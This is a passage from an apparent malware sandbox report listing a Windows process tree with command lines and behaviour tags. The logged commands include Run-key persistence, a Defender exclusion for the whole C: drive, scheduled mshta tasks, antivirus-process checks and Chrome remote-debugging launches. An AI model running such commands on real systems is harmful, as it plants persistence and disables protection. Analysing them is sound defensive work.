        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4280,i,12662757564707727,15229494545406938215,262144 --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:2
        11⤵
        Uses browser remote debugging
        
        PID:7496
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4588,i,12662757564707727,15229494545406938215,262144 --variations-seed-version --mojo-platform-channel-handle=4620 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:5856
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        
        PID:3524
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xd4,0x10c,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        11⤵
        
        PID:9148
        
        C:\Users\Admin\AppData\Local\Temp\10041600101\please18.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041600101\please18.exe"
        8⤵
        
        PID:5572
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "key" /t REG_SZ /d "C:\Users\Admin\AppData\Local\key.exe"
        9⤵
        
        PID:6256
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 7
        10⤵
        
        PID:1884
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "key" /t REG_SZ /d "C:\Users\Admin\AppData\Local\key.exe"
        10⤵
        
        PID:11404
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 9 > nul && copy "C:\Users\Admin\AppData\Local\Temp\10041600101\please18.exe" "C:\Users\Admin\AppData\Local\key.exe" && ping 127.0.0.1 -n 9 > nul && "C:\Users\Admin\AppData\Local\key.exe"
        9⤵
        
        PID:7520
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 9
        10⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1112
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 9
        10⤵
        Runs ping.exe
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\key.exe
        
        "C:\Users\Admin\AppData\Local\key.exe"
        10⤵
        
        PID:7100
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        11⤵
        
        PID:8356
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        11⤵
        
        PID:8956
        
        C:\Users\Admin\AppData\Local\Temp\10041870101\505be89513.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041870101\505be89513.exe"
        8⤵
        
        PID:6004
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041870101\505be89513.exe"
        9⤵
        
        PID:11756
        
        C:\Users\Admin\AppData\Local\Temp\10041880101\a84e487b60.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041880101\a84e487b60.exe"
        8⤵
        
        PID:4256
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041880101\a84e487b60.exe"
        9⤵
        
        PID:9380
      - C:\Users\Admin\AppData\Local\Temp\10352670101\c4d26a570b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352670101\c4d26a570b.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5516
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352670101\c4d26a570b.exe"
        7⤵
        
        PID:4852
      - C:\Users\Admin\AppData\Local\Temp\10352680101\0b89d01f90.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352680101\0b89d01f90.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5892
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5336
      - C:\Users\Admin\AppData\Local\Temp\10352690101\7b35p_003.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352690101\7b35p_003.exe"
        6⤵
        
        PID:5632
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        7⤵
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5448
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        7⤵
        
        PID:5620
        
        C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        8⤵
        
        PID:3912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        9⤵
        
        PID:2740
        
        C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        8⤵
        
        PID:5904
        
        C:\Users\Admin\AppData\Local\Temp\{2fcff617-1e6c-4114-92d9-692c67c92dba}\521a14e5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{2fcff617-1e6c-4114-92d9-692c67c92dba}\521a14e5.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        9⤵
        
        PID:6764
        
        C:\Users\Admin\AppData\Local\Temp\{8646fa07-c767-431a-8864-28fdcfd770c7}\cf6574d9.exe
        
        C:/Users/Admin/AppData/Local/Temp/{8646fa07-c767-431a-8864-28fdcfd770c7}/\cf6574d9.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        10⤵
        
        PID:7608
      - C:\Users\Admin\AppData\Local\Temp\10352700101\EPTwCQd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352700101\EPTwCQd.exe"
        6⤵
        
        PID:2732
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:5692
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:2276
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:5760
      - C:\Users\Admin\AppData\Local\Temp\10352720101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352720101\TbV75ZR.exe"
        6⤵
        
        PID:8920
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Minneapolis.mid Minneapolis.mid.bat & Minneapolis.mid.bat
        7⤵
        
        PID:9228
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:9028
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        
        PID:8080
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:11912
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        
        PID:12052
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 163531
        8⤵
        
        PID:12324
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Uses.mid
        8⤵
        
        PID:13032
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Hose" Pizza
        8⤵
        
        PID:1324
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 163531\Hotel.com + Dive + Enjoying + Spray + Expects + Valid + Remainder + Abc + Promoted + Amanda + Auction + Quoted 163531\Hotel.com
        8⤵
        
        PID:5892
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Revenge.mid + ..\Involves.mid + ..\Delta.mid + ..\Admission.mid K
        8⤵
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\163531\Hotel.com
        
        Hotel.com K
        8⤵
        
        PID:380
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        
        PID:12052
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        10⤵
        
        PID:10392
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2004,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:2
        10⤵
        
        PID:6432
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1800,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:3
        10⤵
        
        PID:6428
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2408,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:8
        10⤵
        
        PID:8076
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3068,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=3108 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:216
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3080,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=3120 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:12248
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4004,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:2
        10⤵
        Uses browser remote debugging
        
        PID:12720
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4532,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=4604 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:10352
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5160,i,8371297209018649225,10126217385752964559,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:8
        10⤵
        
        PID:8132
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        
        PID:6840
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        10⤵
        
        PID:6832
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        
        PID:9528
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd8,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        10⤵
        
        PID:8924
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2052,i,7065689003272606807,3455924968693341744,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:8
        10⤵
        
        PID:5408
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4184,i,7065689003272606807,3455924968693341744,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:2
        10⤵
        Uses browser remote debugging
        
        PID:5460
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4420,i,7065689003272606807,3455924968693341744,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:8612
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        
        PID:6752
      - C:\Users\Admin\AppData\Local\Temp\10352730101\q4jfn3p.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352730101\q4jfn3p.exe"
        6⤵
        
        PID:12976
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:6160
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        
        PID:9968
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        9⤵
        
        PID:10056
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        
        PID:8548
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        9⤵
        
        PID:8500
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1944,i,7024339128919400749,7999551350129032292,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:3
        9⤵
        
        PID:10368
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2004,i,7024339128919400749,7999551350129032292,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:2
        9⤵
        
        PID:10860
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2300,i,7024339128919400749,7999551350129032292,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:8
        9⤵
        
        PID:6116
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3136,i,7024339128919400749,7999551350129032292,262144 --variations-seed-version --mojo-platform-channel-handle=3172 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:6436
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1672,i,7024339128919400749,7999551350129032292,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:6452
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4016,i,7024339128919400749,7999551350129032292,262144 --variations-seed-version --mojo-platform-channel-handle=4036 /prefetch:2
        9⤵
        Uses browser remote debugging
        
        PID:12036
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4332,i,7024339128919400749,7999551350129032292,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:3812
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        
        PID:12916
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffec8f0dcf8,0x7ffec8f0dd04,0x7ffec8f0dd10
        9⤵
        
        PID:12860
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1544,i,16648694038963944642,7589568867017170100,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:3
        9⤵
        
        PID:12600
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2112,i,16648694038963944642,7589568867017170100,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:2
        9⤵
        
        PID:12612
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1792,i,16648694038963944642,7589568867017170100,262144 --variations-seed-version --mojo-platform-channel-handle=2456 /prefetch:8
        9⤵
        
        PID:12792
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3224,i,16648694038963944642,7589568867017170100,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:7636
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3260,i,16648694038963944642,7589568867017170100,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:5492
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4172,i,16648694038963944642,7589568867017170100,262144 --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:2
        9⤵
        Uses browser remote debugging
        
        PID:5184
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4340,i,16648694038963944642,7589568867017170100,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:8336
      - C:\Users\Admin\AppData\Local\Temp\10352740101\bb7afc5dcc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352740101\bb7afc5dcc.exe"
        6⤵
        
        PID:10184
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn fBQBMma4dWe /tr "mshta C:\Users\Admin\AppData\Local\Temp\6Euk8h3VK.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        
        PID:10600
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn fBQBMma4dWe /tr "mshta C:\Users\Admin\AppData\Local\Temp\6Euk8h3VK.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11548
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\6Euk8h3VK.hta
        7⤵
        
        PID:10640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
